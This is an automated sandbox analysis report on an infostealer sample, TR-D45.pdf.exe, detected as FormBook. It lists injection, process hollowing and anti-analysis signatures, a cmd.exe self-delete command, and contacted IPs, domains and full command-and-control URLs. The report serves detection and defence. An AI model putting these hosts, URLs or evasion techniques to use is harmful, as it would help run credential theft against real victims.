Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04443D34 mov eax, dword ptr fs:[00000030h] 12_2_04443D34
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443AD30 mov eax, dword ptr fs:[00000030h] 12_2_0443AD30
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FE539 mov eax, dword ptr fs:[00000030h] 12_2_044FE539
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446513A mov eax, dword ptr fs:[00000030h] 12_2_0446513A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446513A mov eax, dword ptr fs:[00000030h] 12_2_0446513A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044BA537 mov eax, dword ptr fs:[00000030h] 12_2_044BA537
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04464D3B mov eax, dword ptr fs:[00000030h] 12_2_04464D3B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04464D3B mov eax, dword ptr fs:[00000030h] 12_2_04464D3B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04464D3B mov eax, dword ptr fs:[00000030h] 12_2_04464D3B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6DC9 mov eax, dword ptr fs:[00000030h] 12_2_044B6DC9
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6DC9 mov eax, dword ptr fs:[00000030h] 12_2_044B6DC9
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6DC9 mov eax, dword ptr fs:[00000030h] 12_2_044B6DC9
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6DC9 mov ecx, dword ptr fs:[00000030h] 12_2_044B6DC9
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6DC9 mov eax, dword ptr fs:[00000030h] 12_2_044B6DC9
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B6DC9 mov eax, dword ptr fs:[00000030h] 12_2_044B6DC9
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443B1E1 mov eax, dword ptr fs:[00000030h] 12_2_0443B1E1
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443B1E1 mov eax, dword ptr fs:[00000030h] 12_2_0443B1E1
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443B1E1 mov eax, dword ptr fs:[00000030h] 12_2_0443B1E1
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044C41E8 mov eax, dword ptr fs:[00000030h] 12_2_044C41E8
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444D5E0 mov eax, dword ptr fs:[00000030h] 12_2_0444D5E0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444D5E0 mov eax, dword ptr fs:[00000030h] 12_2_0444D5E0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FFDE2 mov eax, dword ptr fs:[00000030h] 12_2_044FFDE2
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FFDE2 mov eax, dword ptr fs:[00000030h] 12_2_044FFDE2
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FFDE2 mov eax, dword ptr fs:[00000030h] 12_2_044FFDE2
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FFDE2 mov eax, dword ptr fs:[00000030h] 12_2_044FFDE2
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044E8DF1 mov eax, dword ptr fs:[00000030h] 12_2_044E8DF1
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446A185 mov eax, dword ptr fs:[00000030h] 12_2_0446A185
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445C182 mov eax, dword ptr fs:[00000030h] 12_2_0445C182
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462581 mov eax, dword ptr fs:[00000030h] 12_2_04462581
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462581 mov eax, dword ptr fs:[00000030h] 12_2_04462581
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462581 mov eax, dword ptr fs:[00000030h] 12_2_04462581
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462581 mov eax, dword ptr fs:[00000030h] 12_2_04462581
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04432D8A mov eax, dword ptr fs:[00000030h] 12_2_04432D8A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04432D8A mov eax, dword ptr fs:[00000030h] 12_2_04432D8A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04432D8A mov eax, dword ptr fs:[00000030h] 12_2_04432D8A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04432D8A mov eax, dword ptr fs:[00000030h] 12_2_04432D8A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04432D8A mov eax, dword ptr fs:[00000030h] 12_2_04432D8A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462990 mov eax, dword ptr fs:[00000030h] 12_2_04462990
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446FD9B mov eax, dword ptr fs:[00000030h] 12_2_0446FD9B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446FD9B mov eax, dword ptr fs:[00000030h] 12_2_0446FD9B
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044661A0 mov eax, dword ptr fs:[00000030h] 12_2_044661A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044661A0 mov eax, dword ptr fs:[00000030h] 12_2_044661A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044635A1 mov eax, dword ptr fs:[00000030h] 12_2_044635A1
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B69A6 mov eax, dword ptr fs:[00000030h] 12_2_044B69A6
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04461DB5 mov eax, dword ptr fs:[00000030h] 12_2_04461DB5
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04461DB5 mov eax, dword ptr fs:[00000030h] 12_2_04461DB5
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04461DB5 mov eax, dword ptr fs:[00000030h] 12_2_04461DB5
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B51BE mov eax, dword ptr fs:[00000030h] 12_2_044B51BE
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B51BE mov eax, dword ptr fs:[00000030h] 12_2_044B51BE
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B51BE mov eax, dword ptr fs:[00000030h] 12_2_044B51BE
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044B51BE mov eax, dword ptr fs:[00000030h] 12_2_044B51BE
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_045005AC mov eax, dword ptr fs:[00000030h] 12_2_045005AC
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_045005AC mov eax, dword ptr fs:[00000030h] 12_2_045005AC
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439240 mov eax, dword ptr fs:[00000030h] 12_2_04439240
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439240 mov eax, dword ptr fs:[00000030h] 12_2_04439240
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439240 mov eax, dword ptr fs:[00000030h] 12_2_04439240
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04439240 mov eax, dword ptr fs:[00000030h] 12_2_04439240
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04447E41 mov eax, dword ptr fs:[00000030h] 12_2_04447E41
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04447E41 mov eax, dword ptr fs:[00000030h] 12_2_04447E41
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04447E41 mov eax, dword ptr fs:[00000030h] 12_2_04447E41
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04447E41 mov eax, dword ptr fs:[00000030h] 12_2_04447E41
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04447E41 mov eax, dword ptr fs:[00000030h] 12_2_04447E41
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04447E41 mov eax, dword ptr fs:[00000030h] 12_2_04447E41
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FAE44 mov eax, dword ptr fs:[00000030h] 12_2_044FAE44
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FAE44 mov eax, dword ptr fs:[00000030h] 12_2_044FAE44
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044FEA55 mov eax, dword ptr fs:[00000030h] 12_2_044FEA55
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044C4257 mov eax, dword ptr fs:[00000030h] 12_2_044C4257
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0444766D mov eax, dword ptr fs:[00000030h] 12_2_0444766D
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044EB260 mov eax, dword ptr fs:[00000030h] 12_2_044EB260
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044EB260 mov eax, dword ptr fs:[00000030h] 12_2_044EB260
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04508A62 mov eax, dword ptr fs:[00000030h] 12_2_04508A62
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445AE73 mov eax, dword ptr fs:[00000030h] 12_2_0445AE73
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445AE73 mov eax, dword ptr fs:[00000030h] 12_2_0445AE73
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445AE73 mov eax, dword ptr fs:[00000030h] 12_2_0445AE73
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445AE73 mov eax, dword ptr fs:[00000030h] 12_2_0445AE73
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0445AE73 mov eax, dword ptr fs:[00000030h] 12_2_0445AE73
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0447927A mov eax, dword ptr fs:[00000030h] 12_2_0447927A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443C600 mov eax, dword ptr fs:[00000030h] 12_2_0443C600
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443C600 mov eax, dword ptr fs:[00000030h] 12_2_0443C600
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443C600 mov eax, dword ptr fs:[00000030h] 12_2_0443C600
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04468E00 mov eax, dword ptr fs:[00000030h] 12_2_04468E00
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044F1608 mov eax, dword ptr fs:[00000030h] 12_2_044F1608
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04448A0A mov eax, dword ptr fs:[00000030h] 12_2_04448A0A
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04435210 mov eax, dword ptr fs:[00000030h] 12_2_04435210
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04435210 mov ecx, dword ptr fs:[00000030h] 12_2_04435210
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04435210 mov eax, dword ptr fs:[00000030h] 12_2_04435210
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04435210 mov eax, dword ptr fs:[00000030h] 12_2_04435210
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443AA16 mov eax, dword ptr fs:[00000030h] 12_2_0443AA16
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443AA16 mov eax, dword ptr fs:[00000030h] 12_2_0443AA16
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04453A1C mov eax, dword ptr fs:[00000030h] 12_2_04453A1C
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446A61C mov eax, dword ptr fs:[00000030h] 12_2_0446A61C
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446A61C mov eax, dword ptr fs:[00000030h] 12_2_0446A61C
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0443E620 mov eax, dword ptr fs:[00000030h] 12_2_0443E620
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04474A2C mov eax, dword ptr fs:[00000030h] 12_2_04474A2C
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04474A2C mov eax, dword ptr fs:[00000030h] 12_2_04474A2C
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044EFE3F mov eax, dword ptr fs:[00000030h] 12_2_044EFE3F
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04478EC7 mov eax, dword ptr fs:[00000030h] 12_2_04478EC7
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04508ED6 mov eax, dword ptr fs:[00000030h] 12_2_04508ED6
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044636CC mov eax, dword ptr fs:[00000030h] 12_2_044636CC
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462ACB mov eax, dword ptr fs:[00000030h] 12_2_04462ACB
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044EFEC0 mov eax, dword ptr fs:[00000030h] 12_2_044EFEC0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04462AE4 mov eax, dword ptr fs:[00000030h] 12_2_04462AE4
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044616E0 mov ecx, dword ptr fs:[00000030h] 12_2_044616E0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044476E2 mov eax, dword ptr fs:[00000030h] 12_2_044476E2
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044CFE87 mov eax, dword ptr fs:[00000030h] 12_2_044CFE87
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446D294 mov eax, dword ptr fs:[00000030h] 12_2_0446D294
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0446D294 mov eax, dword ptr fs:[00000030h] 12_2_0446D294
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044352A5 mov eax, dword ptr fs:[00000030h] 12_2_044352A5
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044352A5 mov eax, dword ptr fs:[00000030h] 12_2_044352A5
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044352A5 mov eax, dword ptr fs:[00000030h] 12_2_044352A5
Enables debug privileges
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 54.147.194.143 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Section loaded: unknown target: C:\Windows\SysWOW64\control.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Section loaded: unknown target: C:\Windows\SysWOW64\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Thread register set: target process: 3472 Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Thread register set: target process: 3472 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Section unmapped: C:\Windows\SysWOW64\control.exe base address: 180000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process created: C:\Users\user\Desktop\TR-D45.pdf.exe 'C:\Users\user\Desktop\TR-D45.pdf.exe' Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\TR-D45.pdf.exe' Jump to behavior
Source: explorer.exe, 00000005.00000000.278878315.0000000001640000.00000002.00000001.sdmp, control.exe, 0000000C.00000002.495739945.0000000002CD0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.278878315.0000000001640000.00000002.00000001.sdmp, control.exe, 0000000C.00000002.495739945.0000000002CD0000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.278878315.0000000001640000.00000002.00000001.sdmp, control.exe, 0000000C.00000002.495739945.0000000002CD0000.00000002.00000001.sdmp Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000005.00000000.278658305.0000000001128000.00000004.00000020.sdmp Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000005.00000000.278878315.0000000001640000.00000002.00000001.sdmp, control.exe, 0000000C.00000002.495739945.0000000002CD0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000005.00000000.278878315.0000000001640000.00000002.00000001.sdmp, control.exe, 0000000C.00000002.495739945.0000000002CD0000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY
Yara detected Generic Dropper
Source: Yara match File source: Process Memory Space: control.exe PID: 6660, type: MEMORY
Source: Yara match File source: Process Memory Space: TR-D45.pdf.exe PID: 3668, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 321007 Sample: TR-D45.pdf.exe Startdate: 20/11/2020 Architecture: WINDOWS Score: 100 29 g.msn.com 2->29 39 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->39 41 Malicious sample detected (through community Yara rule) 2->41 43 Multi AV Scanner detection for submitted file 2->43 45 9 other signatures 2->45 11 TR-D45.pdf.exe 1 2->11         started        signatures3 process4 signatures5 55 Contains functionality to detect hardware virtualization (CPUID execution measurement) 11->55 57 Detected RDTSC dummy instruction sequence (likely for instruction hammering) 11->57 59 Tries to detect Any.run 11->59 61 3 other signatures 11->61 14 TR-D45.pdf.exe 6 11->14         started        process6 dnsIp7 37 pilatescollective.com 192.185.152.65, 443, 49718 UNIFIEDLAYER-AS-1US United States 14->37 63 Modifies the context of a thread in another process (thread injection) 14->63 65 Tries to detect Any.run 14->65 67 Maps a DLL or memory area into another process 14->67 69 3 other signatures 14->69 18 explorer.exe 14->18 injected signatures8 process9 dnsIp10 31 gcvinternational.com 34.102.136.180, 49743, 80 GOOGLEUS United States 18->31 33 www.celebrations.sucks 54.147.194.143, 49745, 80 AMAZON-AESUS United States 18->33 35 2 other IPs or domains 18->35 47 System process connects to network (likely due to code injection or exploit) 18->47 22 control.exe 18->22         started        signatures11 process12 signatures13 49 Modifies the context of a thread in another process (thread injection) 22->49 51 Maps a DLL or memory area into another process 22->51 53 Tries to detect virtualization through RDTSC time measurements 22->53 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
54.147.194.143
unknown United States
14618 AMAZON-AESUS true
34.102.136.180
unknown United States
15169 GOOGLEUS true
192.185.152.65
unknown United States
46606 UNIFIEDLAYER-AS-1US false

Contacted Domains

Name IP Active
pilatescollective.com 192.185.152.65 true
www.celebrations.sucks 54.147.194.143 true
gcvinternational.com 34.102.136.180 true
www.gcvinternational.com unknown unknown
g.msn.com unknown unknown
www.montreynaud.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.gcvinternational.com/gnu/?bly=TVIpcz004Rkd&X2MxIjJP=i4YBL42YhvK+usDHzss6Tj24XYATFEIvS7y0nzG29ZgEeNh3uLyKqQDd2VWk30ZHQtTi true
  • Avira URL Cloud: safe
unknown
http://www.celebrations.sucks/gnu/?X2MxIjJP=cm/vZIiV3Os0q9m3wV9NAYnR84EpEK2W/qhCxJKWCVek11jnJ1A4MINfB4PiPj5CXghE&bly=TVIpcz004Rkd true
  • Avira URL Cloud: safe
unknown